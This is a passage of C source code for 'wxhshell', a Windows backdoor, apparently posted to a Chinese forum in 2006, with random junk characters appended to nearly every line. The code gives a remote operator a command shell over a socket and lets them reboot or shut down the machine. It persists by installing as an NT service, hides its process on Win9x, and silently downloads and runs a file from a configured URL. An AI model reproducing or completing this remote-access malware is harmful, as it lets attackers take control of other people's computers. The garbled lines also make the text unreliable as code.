  // 安装 }~Z1C0 t  
  case 'i': { *Z*4L|zT  
    if(Install()) d5gYJ/Qv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ic7M  
    else ^J3\ U{B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qF m=(J%  
    break; 9s\;,!b  
    } HCHZB*r[  
  // 卸载 Fw!CssW  
  case 'r': { @}:}7R6  
    if(Uninstall()) nd(O;XBI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ay'2! K,I  
    else u(B0X=B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V_JM@VN}Kk  
    break; t0XM#9L  
    } Xk[;MZ[  
  // 显示 wxhshell 所在路径 1<RB}M  
  case 'p': { n5i#GvO^  
    char svExeFile[MAX_PATH]; MsMNP[-l  
    strcpy(svExeFile,"\n\r"); ^v. ~FFK  
      strcat(svExeFile,ExeFile); X(F 2 5  
        send(wsh,svExeFile,strlen(svExeFile),0); W]p)}#FR  
    break; 0\f3La  
    } r'7>J:cy=  
  // 重启 #Jt9U1WbF  
  case 'b': { "' g*_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e*w2u<HP  
    if(Boot(REBOOT)) j,")c'r&dD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Aox$[|@  
    else { 6T>e~<^  
    closesocket(wsh); f8um.Xnp6  
    ExitThread(0); PzThVeJ+  
    } n!5 :I#B  
    break; ]t-_.E )F  
    } {] 1+01vI-  
  // 关机 |IL..C  
  case 'd': { MY1 1 5%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t(FI Bf3  
    if(Boot(SHUTDOWN)) fI@4 v\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &UtsI@Mu  
    else { {f;]  
    closesocket(wsh); 9mW95YI S  
    ExitThread(0); / $7E  
    } ZW\}4q;[A  
    break; .^BL7  
    } W$=MuF7R  
  // 获取shell C<Q;3w`#1j  
  case 's': { Tl9KL%9  
    CmdShell(wsh); _MfXN$I?}  
    closesocket(wsh); g+Z~"O]$M  
    ExitThread(0); ng $`<~=)\  
    break; SB R=  
  } A7!!kR":  
  // 退出 :=u Ku'~  
  case 'x': { c}K>#{YeB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ydFZ$W_}w  
    CloseIt(wsh); lI HSy  
    break; R1Jj 3k  
    } )*_4=-8H  
  // 离开 CCp&P5[67  
  case 'q': { I9GRSm;0<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JR='c)6:  
    closesocket(wsh); yM(zc/?  
    WSACleanup(); >, 22@4  
    exit(1); <t[WHDO`  
    break; S'"(zc3 =  
        } __jFSa`at  
  } ~Y^ UP  
  } l!z0lh- J  
X2PQL"`  
  // 提示信息 86(8p_&zC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -z%| Jk  
} wmu#@Hf/[h  
  } o'S&YD  
|ho|Kl `=  
  return; ao>`[-  
} GrWzgO  
FL -yt  
// shell模块句柄 0mj^Tms  
int CmdShell(SOCKET sock) ye Q6\yi  
{ i6F`KF'i&  
STARTUPINFO si; ?rqU&my S  
ZeroMemory(&si,sizeof(si)); bN-ljw0&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <=KtRE>$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5N=QS1<$5  
PROCESS_INFORMATION ProcessInfo; ?ysC7 ((  
char cmdline[]="cmd"; KrNu7/H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j_2-  
  return 0;  w+<`>  
} {%!.aQ,  
G|5M~zP  
// 自身启动模式 X.V6v4  
int StartFromService(void) lc%2fVG-e  
{ JGjqBuz#A*  
typedef struct L' w }  
{ ^VCgc>x;  
  DWORD ExitStatus; &_cMbFLBP  
  DWORD PebBaseAddress; \ UCOe  
  DWORD AffinityMask; bL>J0LWQ  
  DWORD BasePriority; '5j$wr zt  
  ULONG UniqueProcessId; C^>txui8  
  ULONG InheritedFromUniqueProcessId; f"emH  
}   PROCESS_BASIC_INFORMATION; -:w+`x?XaB  
sYlA{Z"  
PROCNTQSIP NtQueryInformationProcess; fN4d^0&  
9\F:<Bf$#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *^cJn*QeL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bnS"@^M  
e)I-|Q4^%  
  HANDLE             hProcess; E:,V{&tLK  
  PROCESS_BASIC_INFORMATION pbi; NEInro<  
8RS=Xemds  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XI#1)  
  if(NULL == hInst ) return 0; =m{]Xep  
P9j[ NEV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8. 9TWsZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A1`y_ Aj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =<nx [J  
uZ}=x3B  
  if (!NtQueryInformationProcess) return 0; 4 \*!]5i  
Kts#e:k@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -X#Zn>#  
  if(!hProcess) return 0; =bt/2 nPV  
{ir8n731p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ji<^s@8Zc  
LIM cZh;  
  CloseHandle(hProcess); o5(`7XV6D  
tE"aNA#=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X"yj sk  
if(hProcess==NULL) return 0; 1an?/j,  
s&-m!|P  
HMODULE hMod; tz0_S7h  
char procName[255]; q.]>uBAQ?  
unsigned long cbNeeded; EC *rd  
r=8(n<;Co  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); V[&4Km9C  
t#pF.!9=  
  CloseHandle(hProcess); x[]}Jf{t  
(+Ia:D  
if(strstr(procName,"services")) return 1; // 以服务启动 D@5Ud)_  
,dhSc<:LT  
  return 0; // 注册表启动 i}C9  
} hq}kAv4B=  
D,FX&{TYU  
// 主模块 p-d2HXo  
int StartWxhshell(LPSTR lpCmdLine) |TCHPKN  
{ 6|q\ M  
  SOCKET wsl; Qs24b  
BOOL val=TRUE; NYS |fa  
  int port=0; {Vy2uow0  
  struct sockaddr_in door; VFUuG3p)  
m:EO}ws=  
  if(wscfg.ws_autoins) Install(); *_Y{wNF *  
*Mu X]JK  
port=atoi(lpCmdLine); >>}4b2U  
f|eUpf%)  
if(port<=0) port=wscfg.ws_port; sdkKvo. y0  
~&bn} M>W  
  WSADATA data; 7g'jg7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G&i<&.i  
B&J;yla6`d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :G+8%pUX]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fJ \bm  
  door.sin_family = AF_INET; k+8K[ ?K-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6.X| . N  
  door.sin_port = htons(port); q/I':a[1  
3C8cvi[IS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JO*}\Es  
closesocket(wsl); !RX7TYf  
return 1; _M.7%k/U8  
} !L..I2'  
)2 E7>SQc~  
  if(listen(wsl,2) == INVALID_SOCKET) { ruMS5OqM  
closesocket(wsl); 3@'3U?Hin  
return 1; }u"iA^'Ot  
} TFrZ+CcWp2  
  Wxhshell(wsl); `~${fs{-`/  
  WSACleanup(); /yRP>CX~  
_T,X z_  
return 0; udCum4  
P.G`ED|K!Y  
} ,Mt/*^|  
~zEBJgeyh  
// 以NT服务方式启动 |8xu*dVAp4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~`7L\'fs  
{ FT0HU<." 1  
DWORD   status = 0; rnB-e?>  
  DWORD   specificError = 0xfffffff; DEmU},<S  
<B,z)c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p[kEFE,%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nP9zTa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,MH9e!  
  serviceStatus.dwWin32ExitCode     = 0; 9 U6cM-p?  
  serviceStatus.dwServiceSpecificExitCode = 0; d9'gH#f?  
  serviceStatus.dwCheckPoint       = 0; &YAw~1A  
  serviceStatus.dwWaitHint       = 0; P2lDi!q|  
~0S_S+e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); sj@B0R=Qo  
  if (hServiceStatusHandle==0) return; ^zdZ"\x  
Z_Tu* F  
status = GetLastError(); "?_r?~sJx  
  if (status!=NO_ERROR) 9NX/OctFa'  
{ Dwvd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VK7lm|J+  
    serviceStatus.dwCheckPoint       = 0; gEFs4; CN  
    serviceStatus.dwWaitHint       = 0; }E?{M~"<  
    serviceStatus.dwWin32ExitCode     = status; sA( e  
    serviceStatus.dwServiceSpecificExitCode = specificError; y'gIx*6B@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xMck A<E  
    return; 9rO,h|L   
  } DB1F _!9  
Hzd tR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #;l~Y}7'  
  serviceStatus.dwCheckPoint       = 0; 9d4Agj M  
  serviceStatus.dwWaitHint       = 0; N~<H`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q-3,p.  
} Yv}V =O%  
Gag=GHG  
// 处理NT服务事件,比如:启动、停止 OQ,KQ\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :BIgrz"Jz  
{ 7od6`k   
switch(fdwControl) \YV`M3O  
{ cr;\;Ta_!W  
case SERVICE_CONTROL_STOP: xPuuG{Sm  
  serviceStatus.dwWin32ExitCode = 0; =#tQhg,_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w 0V=49  
  serviceStatus.dwCheckPoint   = 0; y$J M=f$  
  serviceStatus.dwWaitHint     = 0; hj~nLgpN  
  { =LP,+z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c:%ll&Xtn  
  } }p2YRTHx  
  return; P, (#' W  
case SERVICE_CONTROL_PAUSE: P5vxQR_*lc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8SJi~gV  
  break; j?5s/  
case SERVICE_CONTROL_CONTINUE: C(t >ZR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }ioHSkCD  
  break; 0vu$dxb[  
case SERVICE_CONTROL_INTERROGATE: znNJ?  
  break; *G]zN"Y  
}; I2U/ \  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^#^\@jLm  
} 6k|^Cs6~z  
]z^*1^u^ig  
// 标准应用程序主函数 {w,g~ew `  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D7| =ev  
{ WH@CH4WM  
9&FFp*'3  
// 获取操作系统版本 Sqt '}  
OsIsNt=GetOsVer(); 4 w$f-   
GetModuleFileName(NULL,ExeFile,MAX_PATH); y":Y$v,P  
x<mHTh:-V  
  // 从命令行安装 1Wz -Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); Rn"Raq7Cn*  
ZS@Gt  
  // 下载执行文件 [;rty<Z^b  
if(wscfg.ws_downexe) { nPAVrDg O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g~>g])  
  WinExec(wscfg.ws_filenam,SW_HIDE); Qxw?D4/Y  
} 5)IJ|"]y  
y;M}I8W[  
if(!OsIsNt) { X4- _l$j  
// 如果时win9x,隐藏进程并且设置为注册表启动 XOk0_[  
HideProc(); YlF<S49loC  
StartWxhshell(lpCmdLine); YPq4VX,  
} =vqy5y  
else PNjZbOmzS  
  if(StartFromService()) ]Wn^m+  
  // 以服务方式启动 n!nXM  
  StartServiceCtrlDispatcher(DispatchTable); k7R8Q~4  
else !9w;2Z]uum  
  // 普通方式启动 f&z@J,_=  
  StartWxhshell(lpCmdLine); 6}Iu~| 5  
.Mn+Bd4f  
return 0; yu<'-)T.?  
}
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只看该作者 1 发表于: 2006-10-10
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